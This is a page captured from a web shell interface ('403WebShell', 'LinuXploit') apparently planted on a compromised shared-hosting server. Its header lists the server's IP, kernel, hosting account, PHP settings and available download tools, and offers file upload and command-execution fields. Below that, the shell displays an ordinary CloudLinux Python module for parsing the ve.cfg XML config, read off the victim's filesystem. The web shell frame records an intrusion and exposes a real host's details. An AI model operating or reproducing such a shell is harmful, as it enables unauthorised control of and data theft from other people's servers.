Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.61.142
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/clveconfig/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/clveconfig/ve_config.py
#!/usr/bin/python
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

import os
from xml.dom import minidom as xml
from xml.parsers.expat import ExpatError

from lxml import etree

from .ve_lock import CONFIG_DIR, acquire_lock

# Path to ve.cfg
VE_CFG_PATH = os.path.join(CONFIG_DIR, 've.cfg')
VE_CFG_PATH_TMP = VE_CFG_PATH + '.tmp'

# It's effectively a tuple of ve_cfg and it's lve_config
PARSED_XML_CACHE = (None, None,)


class BadVeConfigException(Exception):
    def __init__(self, message='Nothing'):
        super().__init__(
            f"Unable to parse /etc/container/ve.cfg file, message: {message}"
        )


def get_xml_config(use_cache=True):
    """
    Load xml config from ve.cfg
    1. setup lock on file
    2. read info
    3. remove lock
    :type use_cache: bool
    :rtype: tuple[xml.Document, xml.Element]
    :raises: BadVeConfigException, LockFailedException
    """
    global PARSED_XML_CACHE

    if PARSED_XML_CACHE != (None, None,) and use_cache:
        # Cache will be updated in save_xml()
        return PARSED_XML_CACHE

    with acquire_lock():
        try:
            _ve_cfg = xml.parse(VE_CFG_PATH)
            _ve_lveconfig = _ve_cfg.getElementsByTagName("lveconfig")[0]
        except (OSError, IOError, ExpatError, IndexError) as e:
            raise BadVeConfigException('bad ve.cfg file') from e

        if use_cache:
            PARSED_XML_CACHE = _ve_cfg, _ve_lveconfig
        return _ve_cfg, _ve_lveconfig


def get_xml_config_etree():
    # type: () -> etree.ElementBase
    """
    This method works same as get_xml_config,
    but returns etree object
    :rtype: etree.ElementTree
    :raises: BadVeConfigException, LockFailedException
    """
    with acquire_lock():
        try:
            tree = etree.parse(VE_CFG_PATH)
            return tree.getroot()
        except etree.ParseError as e:
            raise BadVeConfigException(str(e)) from e


def save_xml(xml_document):
    # Update cache on save because we sometimes do re-read right after save
    global PARSED_XML_CACHE
    _ve_lveconfig = xml_document.getElementsByTagName("lveconfig")[0]
    PARSED_XML_CACHE = (xml_document, _ve_lveconfig,)

    xml_string = xml_document.toprettyxml(encoding='utf-8', indent='', newl='')
    xml_string = xml_string.replace(b"\n", b'').replace(b"\t", b'')
    new_xml = xml.parseString(xml_string)
    buf = new_xml.toprettyxml(encoding='utf-8')
    if not buf:     # paranoia mode)
        raise RuntimeError(f"Rejected attempt to write empty {VE_CFG_PATH}")
    with open(VE_CFG_PATH_TMP, 'wb') as f:
        f.write(buf)
        f.flush()
        os.fsync(f.fileno())
    os.rename(VE_CFG_PATH_TMP, VE_CFG_PATH)

Youez - 2016 - github.com/yon3zu
LinuXploit